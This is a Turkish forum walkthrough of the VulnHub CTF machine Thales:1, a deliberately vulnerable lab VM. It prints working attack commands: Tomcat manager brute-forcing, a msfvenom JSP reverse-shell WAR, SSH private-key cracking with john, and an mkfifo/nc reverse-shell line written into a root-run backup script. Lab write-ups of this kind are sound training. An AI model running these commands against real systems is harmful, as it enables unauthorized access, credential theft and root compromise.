Herkese merhaba,
bu konuda VulnHub CTF platformunda
bulunan Thales:1 isimli zaafiyetli makineyi
istismar edip bayragi kapicaz.
Vmware yerine VirtualBox
kullanmak daha iyi olur, makineyi hazirlayan
kisi aciklama kisminda yazmis.
Network sorunu yasanyan arkadaslar,
network ayarini nat networkune ve ya
bridged moduna alarak otomatik olarak
DHCP'den IP ala bilirler.
Vakit harcamadan baslayalim.
Yapacaklarimiz 4 adimdan olusacak:
1) Bilgi Toplama
2) Zaafiyyet Analizi
3) Zaafiyyet Somurme ve ya Sizma
4) Yetki Yukseltme
1) Bilgi Toplama
Nmap ile acik portlara bakalim
Tum portlari taramaya gerek yok.
Kod:
nmap <ip> -T4 -A
22 portunda SSH ve 8080 portunda ise Tomcat calisiyor. SSH ile simdilik isimiz olmadigindan
yani elimizde bir bilgi olmadigindan bunu bir kenara alalim.
Web interfeysine bakalim tomcat hangi surum gerekirse kaynak kodlari ve s.
Webde calisan Tomcat surumune uygun exploit bulunmakta,
metasploit ile brute force yaparak sifreyi bula biliriz ve ya benim
yaptigim deneme-yanilma yolu ile:
Host Manager olan kisima girip rastgele admin: password yazildiginda,
sifre ve ya userin yalnis oldugunu goruruz, amma cancel yapip login penceresinden ciktigimizda:
403 Yetkisiz hatasi aliyoruz ve kullanici, parola kismi onumuze cikiyor.
Isterseniz buradan devam ede bilirsiniz ben 2ci yontem olan,
user ve pass enumeration yoluyla bilgilere ulasip sisteme sizmak yolunu da gostericem.
2) Zaafiyyet Analizi
Metasploit frameworkunde bulunan 'scanner/http/tomcat_mgr_login' isimli auxiliary'i kullana bilirsiniz,
digerleri de is gorur amma aralarindan stabil calisan bu o yuzden bununla deneme yapicaz.
Ayarlari Rhost, user ve pass dosyalarinin konumunu set ederek run edelim.
Hizli bir tarama sonucu user ve pass'e ulastik. Yolumuza buradan devam ederek,
pentest islemine yollar bulalim.
3) Zaafiyyet Somurme ve ya Sizma
Login olduktan sonra asagilara gelerek bir war dosyayi kabul eden upload kismini gore biliriz.
Buradan akliniza war payload edip shell alma gele bilir. Aynen dogru tahmin ettiniz, etmeseniz bile sorun
degil, normaldir. Sonraki konularda aklinizda bulunur, pratik cok onemlidir arkadaslar.
Kod:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=1234 -f war > reverse.war
Msfvenom ile payload olusturup upload ettik. Sonraki adimda
shell oturumu acmak icin netcat ile payloadimizi dinlemeye alalim, hangi portu yazdiysaniz onun
uzerinden dinlemeye almak gerek. Baglanti sorunlari genellikle yalnis porttan ve ya unutkanliktan kaynakli olur.
Dinlemeye aldiktan sonra upload ettigimiz war dosyasini calistirmak icin hangi isim ile olusturduysak,
onunla da baglantiyi alicaz.
Su sekilde olacak.
Baglanti geldi, tomcat oturumundayiz, python pty shell alarak imkanlarimizi genislendirelim,
ve TERM'i export ederek clear ve diger komutlarin calismasini saglayalim.
Ilk once hangi python surumunu kullandigina bakalim.
Python 2 degilmis, 2 ile de kontrol ettim sonuc alamdim.
Python:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Kod:
export TERM=xterm
user dizininde user.txt okumaya yetkimiz olmadigi icin,
ssh baglantisi saglaya bilecegimiz user lazim bize.
thales isimli kullanici dizininde .ssh dizini var icerigine baktigimizda:
Genel anahtar olan id_rsa.pub ve id_rsa isimli ozel anahtar var, bunun icerigini kopyalayip,
kendi makinemizde hash'e cevirip ssh2john ile kirmayi deneyelim.
id_rsa seklinde kayd ederek islemimize devam edelim.
John the Ripper ile kirmaya calisalim
Kod:
john --wordlist=/usr/share/wordlists/rockyou.txt thales1
Thales isimli kullanicimizin parolasini bulmayi basardik.
Makinemize geri donup,
Kod:
su thales
Yazip thales oturumuna gecelim ve user.txt dosyasini okumaya calisalim.
Basarili sekilde okuduk. Ayni dizinden baska txt dosyasi da vardi az once gozunuze carpdiysa
Burada bizim icin bir yedekleme scripti bulundugunu soyluyor ve dizini de belirtmis.
4) Yetki Yukseltme
sudo -l komutunu kullanarak hangi komutlarin root yetkisinde calistigina bakalim;
miletus uzerinde sudo calistirilamaz oldugunu soyluyor.
o zaman az once notes.txt icinde olan /usr/local/bin/backup.sh
dosyasini kontrol edelim
Dosyanin okuma, yazma ve root yetkisinde calisma gibi ozellikleri oldugunu gorduk.
Bunun uzerinden reverse shell alarak Privilege Escalation islemini hall ede biliriz.
Ilk once netcat ile her hangi bir portu dinlemeye alalim,
Ben 7777 portunu kullanicam
echo ile komutumuzu dosyamizin icerisine yaza biliriz.
Kod:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 7777 >/tmp/f'
Not: IP yazan kismi degistirin
Her hangi bir islem yapmaya gerek kalmadan oturumumuz acildi,
baglanti gelmezse backup.sh dosyasini calistirmayi deneyin.
user, root flagini kapmis olduk.
Buraya kadar okuyup benimle birlikte cozdugunuz icin tesekkurler :]
Son düzenleme: